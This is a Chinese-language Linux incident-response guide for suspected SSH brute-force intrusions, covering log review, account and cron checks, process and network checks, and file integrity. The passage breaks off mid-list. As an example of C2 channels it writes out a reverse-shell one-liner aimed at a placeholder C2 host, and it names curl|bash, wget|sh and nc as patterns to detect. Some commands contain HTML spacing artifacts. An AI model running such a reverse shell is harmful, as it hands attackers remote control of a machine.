服务器异常登录?可能已经被暴力破解了

admin 2026-07-09 06:50:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文针对服务器SSH异常登录场景,提供从被动验证到主动溯源的完整排查指南。核心思路是‘由近及远、由浅入深’,涵盖现场保全、登录轨迹分析、配置核对、进程文件网络排查、后门检测及应急处置。强调黄金30分钟原则,要求保留证据、切断外联、冻结账号,并最终进行加固与复盘。文章提供了大量实战命令和排查框架,可操作性强。 综合评分: 95 文章分类: 应急响应,渗透测试,红队,内网渗透,安全运营


cover_image

服务器异常登录?可能已经被暴力破解了

点击关注👉 点击关注👉

马哥Linux运维

2026年7月6日 19:32 广东

在小说阅读器读本章

去阅读

服务器异常登录?可能已经被暴力破解了

一、问题背景

运维收到一条短信告警:“Accepted publickey for opsuser from 1.2.3.4 port 54321”。来源 IP 是某海外云厂商的 IP 段,时间是凌晨 3 点。opsuser 这个账号是不是本人?是不是已经被人登录了?

类似场景几乎每周都在生产环境发生。SSH 暴露在公网的主机,每天都被数十万次扫描。字典爆破、撞库、0day、社工钓鱼,这些攻击手段最终都会在登录日志里留下痕迹。能不能在第一时间发现、定位、止血,是衡量运维基本功的关键指标。

这篇文章不讲高大上的安全产品,就讲一件事:拿到”服务器异常登录”线索后,从一台已经被盯上的 Linux 主机出发,如何照着一串命令把现场摸清楚、根因找出来、修复做到位、证据留下来

排查过程分两条线:

  1. 被动验证

    :日志里已经有登录痕迹,需要判断这个登录是否正常;

  2. 主动溯源

    :怀疑已经被突破,需要找到攻击者的所有动作、植入的后门、横向移动的路径。

这两条线在生产环境经常混合出现。多数情况下是先看到被动线索(陌生 IP 登录),再倒推主动溯源(这台机器是不是已经成了跳板、是不是被植入了计划任务、是不是有外联到 C2 服务器)。

排查的核心原则:

  • 不要在没取证的情况下重启机器;
  • 不要在排查中执行 rm -rf /tmp/* 或 history -c
  • 每一个动作都要可逆、可回滚;
  • 所有命令输出都要保存到带时间戳的备份目录;
  • 涉及 KILL、停服、改防火墙时必须双人复核。

二、适用场景

本文适用:

  1. 监控告警触发 SSH 成功登录异常(陌生 IP、非工作时间、陌生账号);

  2. /var/log/secure

    出现大量 Failed password 后突然 Accepted password,典型的爆破成功痕迹;

  3. 服务器出现可疑进程、可疑外联、可疑定时任务,怀疑已经被入侵;

  4. 主机 CPU/内存/带宽异常,可能被植入挖矿程序、DDoS 工具、僵尸网络客户端;

  5. 主机配置文件被篡改(如 /etc/ssh/sshd_config/etc/passwd 新增用户、/etc/crontab 新增任务);

  6. 主机被安全部门、SOC、护网行动通报,需要紧急排查;

  7. 主机被云厂商或威胁情报平台标记为恶意 IP 来源;

  8. 内网横向移动排查(已知某台主机被入侵,需要排查同网段其他主机);

  9. 主机被客户或第三方通报存在数据泄露风险;

  10. 主机下线前的安全审计。

不适用:

  • DDoS 攻击的流量层防护(本文聚焦 SSH 登录与权限层);
  • Web 应用层入侵(SQL 注入、WebShell 上传)— 排查思路不同;
  • 数据库入侵 — 走数据库的审计日志;
  • 容器、Serverless 环境的入侵排查;
  • 内核态 rootkit(需要更专业的内存取证工具)。

三、核心知识点

3.1 SSH 登录全链路

要排查 SSH 异常登录,必须先理解 SSH 登录涉及的所有组件:

client ssh/scp/sftp
  → DNS 解析(hostname → IP)
  → TCP 三次握手
  → SSH 协议握手(协议版本、算法协商)
  → 服务器认证(主机密钥)
  → 用户认证(密码 / 公私钥 / keyboard-interactive)
  → PAM 认证(账号、口令、双因素)
  → 审计日志写入(secure / auth.log / auditd)
  → 用户环境加载(profile / .bashrc)

每一环都有日志可查:

  • DNS:/var/log/messagessystemd-resolved 日志;
  • TCP:/var/log/messages、conntrack 表;
  • 协议:/var/log/secure(sshd 日志);
  • 认证:/var/log/secure(PAM 日志);
  • 审计:/var/log/audit/audit.log

3.2 Linux 登录与会话信息

  • last

    :读 /var/log/wtmp,显示历史成功登录;

  • lastb

    :读 /var/log/btmp,显示历史失败登录;

  • lastlog

    :读 /var/log/lastlog,显示每个用户最后登录时间;

  • who

    :读 /var/run/utmp,显示当前在线用户;

  • w

    :扩展 who,显示当前在线用户及其进程;

  • ac

    :显示每个用户累计在线时间;

  • utmpdump

    :把 wtmp/btmp 转成可读文本。

这些工具都基于 utmp/wtmp/btmp 三个二进制文件。攻击者常常会篡改这些文件以隐藏登录痕迹,需要对比时间戳与文件大小。

3.3 SSH 配置文件

关键配置项:

  • PermitRootLogin

    :是否允许 root 登录;

  • PasswordAuthentication

    :是否允许密码登录;

  • PubkeyAuthentication

    :是否允许公私钥登录;

  • AllowUsers

    AllowGroups:白名单用户/组;

  • MaxAuthTries

    :单连接最大认证次数;

  • LoginGraceTime

    :认证超时时间;

  • AuthorizedKeysFile

    :公钥文件路径(默认 .ssh/authorized_keys)。

被攻击的主机常看到的痕迹:

  • PermitRootLogin yes

    :root 远程登录被打开;

  • PasswordAuthentication yes

    :密码登录开启;

  • AllowUsers

    AllowGroups 被删除或注释;

  • 新增了奇怪的 Match 块;

  • 引入 include 片段(/etc/ssh/sshd_config.d/*.conf)覆盖主配置;

  • AuthorizedKeysFile

    被改成 /tmp/... 等异常路径。

3.4 Linux 账号体系

  • /etc/passwd

    :账号基本信息,格式 username:x:UID:GID:comment:home:shell

  • /etc/shadow

    :账号密码 hash,格式 username:hash:lastchanged:min:max:warn:inactive:expire

  • /etc/group

    :组信息;

  • /etc/sudoers

    /etc/sudoers.d/*:sudo 授权;

  • /etc/pam.d/

    :PAM 认证配置。

可疑迹象:

  • /etc/passwd

    中 UID 为 0 但 username 不是 root 的账号;

  • /etc/passwd

    中 shell 为 /bin/bash/bin/sh 但 home 是 /var/.../tmp/...

  • /etc/shadow

    中密码字段是空(::)或 *! 后的字符串异常;

  • /etc/sudoers.d/

    出现不认识的配置文件;

  • /etc/group

    中 wheelsudo 组有不认识的用户。

3.5 计划任务与启动项

  • 用户级:crontab -l/var/spool/cron/<user>

  • 系统级:/etc/crontab/etc/cron.d//etc/cron.hourly//etc/cron.daily//etc/cron.weekly//etc/cron.monthly/

  • systemd 定时器:/etc/systemd/system/*.timer/usr/lib/systemd/system/*.timer

  • 启动脚本:/etc/rc.local/etc/init.d/

  • 开机自启:systemctl list-unit-files --state=enabled

  • .bashrc

    .bash_profile.profile:用户登录时自动执行。

3.6 后门检测要点

后门通常藏在以下几个位置:

  • SSH:/etc/ssh/sshd_config/usr/sbin/sshd~/.ssh/authorized_keys
  • 二进制替换:/bin//sbin//usr/bin//usr/sbin//usr/lib//usr/lib64/
  • 动态库劫持:/etc/ld.so.preloadLD_PRELOAD
  • 内核模块:/lib/modules/$(uname -r)/lsmod/proc/modules
  • 计划任务:见 3.5;
  • 隐藏文件:/tmp//var/tmp//dev/shm/
  • 隐藏进程:ps 看不到的进程;
  • 反弹 shell:/dev/tcp/<ip>/<port>、bash 反弹脚本、Python 反弹脚本。

3.7 文件完整性检测

  • rpm -Va

    :RHEL/CentOS 包文件校验;

  • debsums -c

    :Debian/Ubuntu 包文件校验;

  • AIDE

    :高级入侵检测环境,建立基线数据库,对比变更;

  • Tripwire

    :商业化文件完整性工具;

  • md5sum

    sha256sum:手动对比关键文件;

  • stat

    :查看文件 inode、修改时间、访问时间、属性时间。

3.8 网络外联与 C2

攻击者植入后,通常会建立以下几种网络通道:

  • 反弹 shell:bash -i >& /dev/tcp/C2/443 0>&1
  • HTTP/HTTPS 出网:周期性 GET/POST 到攻击者的 C2;
  • DNS tunnel:通过 DNS 查询泄露数据;
  • 矿池外联:到 pool.minexmr.com 等矿池地址;
  • DDoS 工具:到 IRC 服务器接受命令;
  • 内网横向:SSH、SMB、RDP、WMI、PSExec。

检测工具:

  • ss -antp state established

    :查看已建立的 TCP 连接;

  • netstat -an

    :旧版工具,仍可用;

  • iftop

    :实时流量;

  • nethogs

    :按进程统计流量;

  • tcpdump

    :抓包;

  • conntrack -L

    :连接跟踪表。

3.9 rootkit 与内核态后门

  • chkrootkit

    :用户态 rootkit 检测工具;

  • rkhunter

    :rootkit hunter,扫描已知 rootkit 特征;

  • unhide

    :查找隐藏进程;

  • /proc/modules

    vs lsmod:对比查找隐藏内核模块;

  • 内存取证工具:VolatilityRekall(需要专业背景)。

3.10 应急处置原则

黄金 30 分钟原则:

  1. 立即保留现场(dmesg、journalctl、日志、内存、网络连接);
  2. 切断可疑外联(防火墙封禁可疑 IP);
  3. 冻结可疑账号(usermod -Lpasswd -l);
  4. 评估影响范围(同网段其他主机);
  5. 上报安全接口人;
  6. 实施修复(改口令、重发公钥、清理后门);
  7. 加固(双因素、最小化暴露、监控告警);
  8. 复盘(5Why、改进项、根因分析)。

四、整体排查或实施思路

排查 SSH 异常登录的整体思路是”由近及远、由浅入深、由系统到进程”:

  1. 现场保全

    :第一动作必须是保留证据,不要重启、不要清日志;

  2. 登录轨迹

    :从 last/lastb/日志中提取所有登录事件,判断哪些可疑;

  3. 配置核对

    :检查 sshd_config、PAM、账号、sudo 是否被改;

  4. 进程维度

    :top/ps/pidstat 找可疑进程;

  5. 文件维度

    :find/md5sum/AIDE 找可疑文件;

  6. 网络维度

    :ss/netstat/tcpdump 找可疑外联;

  7. 计划任务

    :crontab/systemd-timer 找可疑任务;

  8. 日志审计

    :secure/auth.log/audit.log/wtmp 完整性;

  9. 应急处置

    :断网、冻结、改口令、清理;

  10. 加固

    :双因素、暴露面收敛、监控告警;

  11. 复盘

    :时间线、根因、影响范围、改进项。

完整的排查路径可以理解成一个”四圈防御 + 一条纵深”的框架:

  • 第一圈(网络):防火墙 / 安全组 / 端口暴露面;
  • 第二圈(认证):sshd_config / PAM / 双因素 / 公私钥;
  • 第三圈(账号):/etc/passwd / sudo / shadow / 计划任务;
  • 第四圈(运行时):进程 / 文件 / 内核模块 / 网络外联;
  • 纵深(应急):取证 / 断网 / 修复 / 复盘。

任何一层有漏洞,攻击者都能绕过去。所以排查时每一层都要走一遍,不要跳过。

五、实战步骤

5.1 步骤一:现场保全(首要动作)

目的:把所有可能在排查中被覆盖的数据先备份,避免证据丢失。

bash

# 1. 建立带时间戳的备份目录
TS=$(date&nbsp;+%Y%m%d-%H%M%S)
BACKUP=/var/tmp/incident-$TS
mkdir&nbsp;-p&nbsp;"$BACKUP"/{logs,proc,config,binary,net}

# 2. 备份关键日志
cp&nbsp;-a /var/log/secure&nbsp;"$BACKUP"/logs/ 2>/dev/null
cp&nbsp;-a /var/log/auth.log&nbsp;"$BACKUP"/logs/ 2>/dev/null
cp&nbsp;-a /var/log/messages&nbsp;"$BACKUP"/logs/ 2>/dev/null
cp&nbsp;-a /var/log/audit/audit.log&nbsp;"$BACKUP"/logs/ 2>/dev/null
cp&nbsp;-a /var/log/wtmp&nbsp;"$BACKUP"/logs/ 2>/dev/null
cp&nbsp;-a /var/log/btmp&nbsp;"$BACKUP"/logs/ 2>/dev/null
cp&nbsp;-a /var/log/lastlog&nbsp;"$BACKUP"/logs/ 2>/dev/null

# 3. 备份 dmesg
dmesg -T >&nbsp;"$BACKUP"/logs/dmesg.txt 2>/dev/null

# 4. 备份 journald
journalctl --since&nbsp;"30 days ago"&nbsp;>&nbsp;"$BACKUP"/logs/journalctl-30d.txt 2>/dev/null

# 5. 备份当前进程
ps auxf >&nbsp;"$BACKUP"/proc/ps-auxf.txt
ps -ef >&nbsp;"$BACKUP"/proc/ps-ef.txt

# 6. 备份网络连接
ss -antp >&nbsp;"$BACKUP"/net/ss-antp.txt
ss -s >&nbsp;"$BACKUP"/net/ss-s.txt
netstat -anpt >&nbsp;"$BACKUP"/net/netstat.txt 2>/dev/null

# 7. 备份路由
ip route >&nbsp;"$BACKUP"/net/ip-route.txt
ip rule >&nbsp;"$BACKUP"/net/ip-rule.txt
ip addr >&nbsp;"$BACKUP"/net/ip-addr.txt

# 8. 备份当前在线
who&nbsp;>&nbsp;"$BACKUP"/who.txt
w >&nbsp;"$BACKUP"/w.txt

# 9. 备份关键配置
cp&nbsp;-a /etc/ssh&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/pam.d&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/passwd&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/shadow&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/group&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/sudoers&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/sudoers.d&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/crontab&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/cron.d&nbsp;"$BACKUP"/config/
cp&nbsp;-a /etc/cron.*&nbsp;"$BACKUP"/config/ 2>/dev/null
cp&nbsp;-a /etc/systemd/system&nbsp;"$BACKUP"/config/system-system 2>/dev/null
cp&nbsp;-a /usr/lib/systemd/system&nbsp;"$BACKUP"/config/system-lib 2>/dev/null

# 10. 备份关键二进制 md5
md5sum&nbsp;/usr/sbin/sshd /usr/bin/ssh /bin/bash /bin/sh /usr/bin/sudo \
&nbsp; &nbsp; &nbsp; &nbsp;/usr/bin/passwd /usr/bin/su /usr/sbin/useradd /usr/sbin/userdel \
&nbsp; &nbsp; &nbsp; &nbsp;/usr/bin/ps /usr/bin/netstat /usr/sbin/iptables \
&nbsp; &nbsp; &nbsp; &nbsp;>&nbsp;"$BACKUP"/binary/md5-baseline.txt 2>/dev/null

# 11. 打包
tar -czf /var/tmp/incident-$TS.tar.gz -C /var/tmp incident-$TS
ls&nbsp;-la /var/tmp/incident-$TS.tar.gz

预期输出:备份目录、压缩包齐全。

异常表现:

  • 磁盘空间不足:用 du -sh /var/log/* 找大文件;

  • 某些日志文件不存在:发行版路径不同,对应调整;

  • cp -a

    报错:检查 SELinux/AppArmor。

5.2 步骤二:登录轨迹分析

bash

# 1. 当前在线
who
w

# 2. 最近的登录记录
last -F |&nbsp;head&nbsp;-50
last -F -i |&nbsp;head&nbsp;-50 &nbsp; &nbsp;# 显示 IP(部分系统)

# 3. 最近的失败登录
lastb -F |&nbsp;head&nbsp;-50
lastb -F -i |&nbsp;head&nbsp;-50

# 4. 每个用户最近登录
lastlog |&nbsp;head&nbsp;-50

# 5. sshd 日志中的成功登录
grep -E&nbsp;"Accepted"&nbsp;/var/log/secure |&nbsp;tail&nbsp;-50

# 6. sshd 日志中的失败登录
grep -E&nbsp;"Failed password"&nbsp;/var/log/secure |&nbsp;tail&nbsp;-50

# 7. sshd 日志中的认证拒绝
grep -E&nbsp;"Connection closed by authenticating"&nbsp;/var/log/secure |&nbsp;tail&nbsp;-50

# 8. sshd 日志中的用户枚举尝试
grep -E&nbsp;"Invalid user"&nbsp;/var/log/secure |&nbsp;tail&nbsp;-50

# 9. 失败的公钥登录
grep -E&nbsp;"Failed publickey|Authentication refused"&nbsp;/var/log/secure |&nbsp;tail&nbsp;-50

# 10. 用 journald 拉最近 SSH 事件
journalctl -u sshd --since&nbsp;"7 days ago"&nbsp;--no-pager | grep -E&nbsp;"Accepted|Failed|Invalid|Connection closed"&nbsp;|&nbsp;tail&nbsp;-100

# 11. 统计失败次数最多的来源 IP
grep -E&nbsp;"Failed password"&nbsp;/var/log/secure | awk&nbsp;'{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}'&nbsp;|&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;sort&nbsp;-rn |&nbsp;head&nbsp;-20

# 12. 统计被尝试的账号
grep -E&nbsp;"Failed password|Invalid user"&nbsp;/var/log/secure | awk&nbsp;'{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}'&nbsp;|&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;sort&nbsp;-rn |&nbsp;head&nbsp;-20

# 13. 时间分布
grep -E&nbsp;"Accepted|Failed"&nbsp;/var/log/secure | awk&nbsp;'{print $1, $2, $3}'&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;tail&nbsp;-30

预期输出:

  • 正常的 last 显示运维熟悉的 IP(办公网、堡垒机);

  • lastb

    主要是失败记录,可能有大量失败爆破;

  • lastlog

    显示每个账号最后登录时间;

  • 异常登录会以非工作时间、陌生 IP、陌生账号形式出现。

异常表现:

  • 出现不认识的用户登录成功 → 立即冻结该账号;

  • 出现认识的用户从不认识 IP 登录 → 立即通知本人确认;

  • 出现非工作时间成功登录 → 立即排查;

  • 出现短时间内大量失败后突然成功 → 高度怀疑爆破成功;

  • wtmp

    /btmp/lastlog 文件大小异常(被清空或被改)→ 高度怀疑被清理;

  • last

    /lastb 输出时间断档 → 文件被截断或篡改。

下一步动作:

  • 把可疑事件记录到 incident 报告;
  • 把可疑账号列入冻结名单;
  • 进入步骤三,配置核对。

5.3 步骤三:SSH 与 PAM 配置核对

bash

# 1. sshd_config 当前生效配置
sshd -T | grep -E&nbsp;"^(port|passwordauthentication|permitrootlogin|pubkeyauthentication|allowusers|allowgroups|authorizedkeysfile|logingracetime|maxauthtries|maxstartups|challengeauthentication|kbdinteractiveauthentication|usepam|authenticationmethods)\b"

# 2. 配置文件最近修改时间
stat&nbsp;/etc/ssh/sshd_config
ls&nbsp;-la /etc/ssh/

# 3. 包含的片段
grep -E&nbsp;"^Include"&nbsp;/etc/ssh/sshd_config
ls&nbsp;-la /etc/ssh/sshd_config.d/

# 4. 各片段的内容
for&nbsp;f&nbsp;in&nbsp;/etc/ssh/sshd_config.d/*.conf;&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$f&nbsp;==="
&nbsp; &nbsp;&nbsp;cat"$f"
done

# 5. 主机密钥指纹
for&nbsp;f&nbsp;in&nbsp;/etc/ssh/ssh_host_*_key;&nbsp;do
&nbsp; &nbsp;&nbsp;echo"$f:"
&nbsp; &nbsp; ssh-keygen -lf&nbsp;"$f"
done

# 6. authorized_keys 检查
find / -name authorized_keys -type&nbsp;f 2>/dev/null -execls&nbsp;-la {} \;
find / -name authorized_keys -type&nbsp;f 2>/dev/null -execwc&nbsp;-l {} \;

# 7. 异常 authorized_keys 内容
for&nbsp;f&nbsp;in&nbsp;$(find / -name authorized_keys -type&nbsp;f 2>/dev/null);&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$f&nbsp;==="
&nbsp; &nbsp;&nbsp;cat"$f"
done

# 8. PAM 配置
cat&nbsp;/etc/pam.d/sshd
ls&nbsp;-la /etc/pam.d/sshd

# 9. PAM 模块完整性
for&nbsp;m&nbsp;in&nbsp;pam_unix.so pam_google_authenticator.so pam_faillock.so pam_tally2.so;&nbsp;do
&nbsp; &nbsp;&nbsp;echo"$m:"
&nbsp; &nbsp; find / -name&nbsp;"$m"&nbsp;2>/dev/null
done

# 10. auditd 是否启用
systemctl status auditd
auditctl -l | grep -E&nbsp;"(sshd_config|sshd|authorized_keys|/etc/passwd)"

预期输出:

  • PermitRootLogin no

    PasswordAuthentication noPubkeyAuthentication yes 是加固后的标准配置;

  • AllowUsers

    AllowGroups 有明确白名单;

  • sshd_config 最近修改时间与变更窗口一致;

  • authorized_keys

    只有熟悉的运维账号公钥。

异常表现:

  • 出现不认识的公钥在 authorized_keys → 立即删除;

  • PermitRootLogin yes

    → 立即改为 no

  • 出现 Include /etc/ssh/sshd_config.d/*.conf 且片段里有不熟悉的配置 → 立即审查;

  • sshd_config 最近被修改但无变更单 → 立即怀疑;

  • PAM 文件被修改但无变更单 → 立即怀疑;

  • auditd 未启用 → 加固缺陷。

下一步动作:

  • 把可疑配置项记录;
  • 不直接修改,先备份;
  • 进入步骤四。

5.4 步骤四:账号体系核对

bash

# 1. UID 0 的账号(root 权限)
awk -F:&nbsp;'($3 == 0) {print}'&nbsp;/etc/passwd

# 2. 可登录的账号(bash/sh/zsh/csh)
awk -F:&nbsp;'$7 ~ /(bash|sh|zsh|csh|fish)/ {print}'&nbsp;/etc/passwd

# 3. home 目录异常(/tmp、/var/tmp 等)
awk -F:&nbsp;'$6 ~ /^\/(tmp|var\/tmp|dev\/shm)/ {print}'&nbsp;/etc/passwd

# 4. shadow 文件空密码
awk -F:&nbsp;'($2 == "" || $2 == "!" || $2 == "*" || $2 == "!!") {print $1}'&nbsp;/etc/shadow

# 5. 锁定状态异常
passwd -S -a

# 6. 账号最近修改时间
ls&nbsp;-la /etc/passwd /etc/shadow /etc/group /etc/sudoers

# 7. sudoers 配置
cat&nbsp;/etc/sudoers
ls&nbsp;-la /etc/sudoers.d/
for&nbsp;f&nbsp;in&nbsp;/etc/sudoers.d/*;&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$f&nbsp;==="
&nbsp; &nbsp;&nbsp;cat"$f"
done

# 8. 密码策略
chage -l root
chage -l opsuser
# 对比最近一次改密时间

# 9. 最近新建账号
find /home /root /var -maxdepth 3 -newer /etc/hostname 2>/dev/null |&nbsp;head

# 10. SSH 私钥被复制痕迹
find / -name&nbsp;"id_*"&nbsp;-type&nbsp;f 2>/dev/null
find / -name&nbsp;"*.pem"&nbsp;-type&nbsp;f 2>/dev/null |&nbsp;head

# 11. 用户最近活动
ls&nbsp;-lat /home/*/.bash_history 2>/dev/null
ls&nbsp;-lat /root/.bash_history 2>/dev/null
# 但攻击者常常会清,所以不要把空 history 视为"没事"

预期输出:

  • 只有 root 一个 UID 0 账号;
  • 熟悉的运维账号 shell 是 bash;
  • sudoers 配置符合预期;
  • chage 信息符合变更窗口。

异常表现:

  • 出现第二个 UID 0 账号 → 立即锁定(passwd -l)并排查来源;
  • 出现 home 在 /tmp 的账号 → 立即排查;
  • 出现陌生账号 → 立即锁定;
  • sudoers.d 出现新文件 → 立即审查;
  • 最近被修改的配置文件超出变更窗口 → 怀疑被改;
  • .bash_history 被清空 + 系统被爆破成功 → 高度怀疑被入侵。

下一步动作:

  • 把可疑账号记录到 incident 报告;
  • 不直接删除账号,先冻结(passwd -l username 或 usermod -L username);
  • 进入步骤五。

5.5 步骤五:计划任务与启动项核对

bash

# 1. 当前用户的 crontab
crontab -l
crontab -u root -l
crontab -u opsuser -l

# 2. 所有用户的 crontab
for&nbsp;user&nbsp;in&nbsp;$(cut&nbsp;-f1 -d: /etc/passwd);&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$user&nbsp;==="
&nbsp; &nbsp; crontab -u&nbsp;"$user"&nbsp;-l 2>/dev/null
done

# 3. 系统级 crontab
cat&nbsp;/etc/crontab
ls&nbsp;-la /etc/cron.d/
for&nbsp;f&nbsp;in&nbsp;/etc/cron.d/*;&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$f&nbsp;==="
&nbsp; &nbsp;&nbsp;cat"$f"
done
ls&nbsp;-la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# 4. systemd 定时器
systemctl list-timers --all
ls&nbsp;-la /etc/systemd/system/*.timer 2>/dev/null
ls&nbsp;-la /usr/lib/systemd/system/*.timer 2>/dev/null

# 5. systemd 服务开机自启
systemctl list-unit-files --state=enabled
ls&nbsp;-la /etc/systemd/system/multi-user.target.wants/

# 6. /etc/rc.local
cat&nbsp;/etc/rc.local
ls&nbsp;-la /etc/rc.local

# 7. /etc/init.d
ls&nbsp;-la /etc/init.d/

# 8. 用户登录脚本
ls&nbsp;-la /root/.bashrc /root/.bash_profile /root/.profile /root/.bash_logout
for&nbsp;user&nbsp;in&nbsp;/home/*;&nbsp;do
&nbsp; &nbsp;&nbsp;echo"===&nbsp;$user&nbsp;==="
&nbsp; &nbsp;&nbsp;ls&nbsp;-la&nbsp;"$user/.bashrc""$user/.bash_profile""$user/.profile"&nbsp;2>/dev/null
done

# 9. systemd 用户级服务
ls&nbsp;-la /home/*/.config/systemd/user/ 2>/dev/null

# 10. at 队列
atq
ls&nbsp;-la /var/spool/at/ 2>/dev/null

预期输出:

  • crontab 与变更窗口一致;

  • 没有陌生的 systemd timer;

  • systemctl list-unit-files

    没有陌生服务。

异常表现:

  • 出现奇怪的 crontab(指向 /tmp/dev/shm/var/tmp 的脚本)→ 立即停掉;

  • crontab 内容包含 curl | bashwget | shnc → 立即停掉;

  • 出现 systemd timer 在异常路径 → 立即停掉;

  • .bashrc

    末尾被追加可疑脚本 → 立即排查;

  • /etc/rc.local

    默认在 RHEL/CentOS 7 是无执行权限的,如果突然有内容 → 立即排查。

5.6 步骤六:进程维度排查

bash

# 1. CPU 占用 TOP 10
top -c -b -n 1 |&nbsp;head&nbsp;-30

# 2. 完整进程树
ps auxf

# 3. 按 CPU 排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu |&nbsp;head&nbsp;-20

# 4. 按内存排序
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pmem |&nbsp;head&nbsp;-20

# 5. 可疑进程(路径在 /tmp、/var/tmp、/dev/shm)
ps -eo pid,user,args | awk&nbsp;'/\/tmp|\/var\/tmp|\/dev\/shm/ {print}'

# 6. 没有参数或参数奇怪的进程
ps -eo pid,user,args | awk&nbsp;'NF<5 {print}'

# 7. 已删除可执行文件的进程(被植入内存马)
ls&nbsp;-la /proc/*/exe 2>/dev/null | grep deleted

# 8. KThreads 之外的内核线程(可能有可疑模块)
ps -ef | awk&nbsp;'$3 == 2 {print}'

# 9. 按 PID 详细查看
PID=12345
ls&nbsp;-la /proc/$PID/exe
cat&nbsp;/proc/$PID/status
cat&nbsp;/proc/$PID/cmdline
ls&nbsp;-la /proc/$PID/fd |&nbsp;head&nbsp;-30
cat&nbsp;/proc/$PID/maps |&nbsp;head&nbsp;-10

# 10. 隐藏进程检测
unhide proc
unhide sys
unhide-brute

# 11. 启动时间异常的进程
ps -eo pid,user,lstart,args --sort=lstart |&nbsp;head&nbsp;-20

预期输出:

  • 进程列表符合基线;
  • CPU/内存 TOP 进程是熟悉的业务进程;
  • 可疑路径无进程。

异常表现:

  • 出现挖矿进程(xmrig、minerd、kdevtmpfsi、kthrotlds 等)→ 立即取证并停掉;
  • 出现 nc、ncat、bash -i 反弹 → 立即取证;
  • 出现 curl/wget 下载脚本 → 立即停止并取证;
  • 进程 exe 指向 deleted 但进程仍运行 → 内存马嫌疑;
  • 隐藏进程(unhide 检出而 ps 没显示)→ rootkit 嫌疑;
  • 启动时间在最近爆破成功之后 → 高危。

5.7 步骤七:网络外联与可疑流量

bash

# 1. 当前 ESTABLISHED 连接
ss -antp state established
ss -antp state established | awk&nbsp;'{print $5}'&nbsp;|&nbsp;cut&nbsp;-d: -f1 |&nbsp;sort&nbsp;-u

# 2. 按进程统计外联
ss -antp state established | grep -E&nbsp;"users:"&nbsp;| awk&nbsp;'{for(i=1;i<=NF;i++) if($i ~ /users:/) print $(i+1)}'&nbsp;|&nbsp;sort&nbsp;|&nbsp;uniq&nbsp;-c |&nbsp;sort&nbsp;-rn

# 3. UDP 连接
ss -anup state established

# 4. 监听端口
ss -tlnp

# 5. 全连接(包括 LISTEN、ESTABLISHED、CLOSE_WAIT、TIME_WAIT)
ss -anp |&nbsp;head&nbsp;-50

# 6. 路由与 ARP
ip route
ip neigh

# 7. conntrack
conntrack -L 2>/dev/null |&nbsp;head&nbsp;-50

# 8. DNS 解析缓存
journalctl -u systemd-resolved --since&nbsp;"1 day ago"&nbsp;--no-pager |&nbsp;tail&nbsp;-50

# 9. 抓包(紧急情况下短时间抓 30-60s)
tcpdump -i eth0 -nn -s0 -w /tmp/incident-$TS/capture.pcap &
TCPDUMP_PID=$!
sleep&nbsp;60
kill$TCPDUMP_PID
ls&nbsp;-la /tmp/incident-$TS/capture.pcap

# 10. 进程级流量
nethogs -d 5 -t 2>/dev/null |&nbsp;head&nbsp;-30

# 11. 与威胁情报比对(本地 IP 库或 curl 在线 API)
# 注意:生产环境不要直接在线查询,先在内网 SOC 平台比对

预期输出:

  • 已建立连接的目标 IP 是熟悉的业务 IP;
  • 监听端口与配置一致;
  • 路由正常。

异常表现:

  • 出现对外网矿池、IRC、C2 的连接 → 立即取证并断网;
  • 出现对内网其他主机的非常规端口连接 → 横向移动嫌疑;
  • 出现对 53 端口(DNS)大量长连接 → DNS tunnel 嫌疑;
  • 出现大量 CLOSE_WAIT → 应用未正常关闭,可能被植入;
  • 出现大量 SYN_SENT → 攻击者主动外联失败。

5.8 步骤八:文件系统与可疑文件

bash

# 1. 最近 7 天被修改的文件
find / -mtime -7 -type&nbsp;f -not -path&nbsp;"/proc/*"&nbsp;-not -path&nbsp;"/sys/*"&nbsp;-not -path&nbsp;"/run/*"&nbsp;2>/dev/null |&nbsp;head&nbsp;-100

# 2. /tmp、/var/tmp、/dev/shm 中的可疑文件
ls&nbsp;-la /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null

# 3. 隐藏文件
find /tmp /var/tmp /dev/shm -name&nbsp;".*"&nbsp;-type&nbsp;f 2>/dev/null

# 4. SUID/SGID 文件
find / -perm -4000 -type&nbsp;f 2>/dev/null
find / -perm -2000 -type&nbsp;f 2>/dev/null

# 5. 没有任何属主的文件
find / -nouser -o -nogroup 2>/dev/null

# 6. 二进制 hash 与基线对比
md5sum&nbsp;/usr/bin/* /usr/sbin/* /bin/* /sbin/* > /tmp/incident-$TS/md5-current.txt 2>/dev/null
diff /tmp/incident-$TS/md5-baseline.txt /tmp/incident-$TS/md5-current.txt

# 7. RPM 包文件校验
rpm -Va 2>/dev/null | grep -E&nbsp;"^..5"&nbsp;| grep -E&nbsp;"/(usr/)?(s?bin|lib)"

# 8. debsums(Debian/Ubuntu)
debsums -c 2>/dev/null

# 9. LD_PRELOAD 劫持
cat&nbsp;/etc/ld.so.preload 2>/dev/null
ls&nbsp;-la /etc/ld.so.preload 2>/dev/null

# 10. 可疑的脚本文件
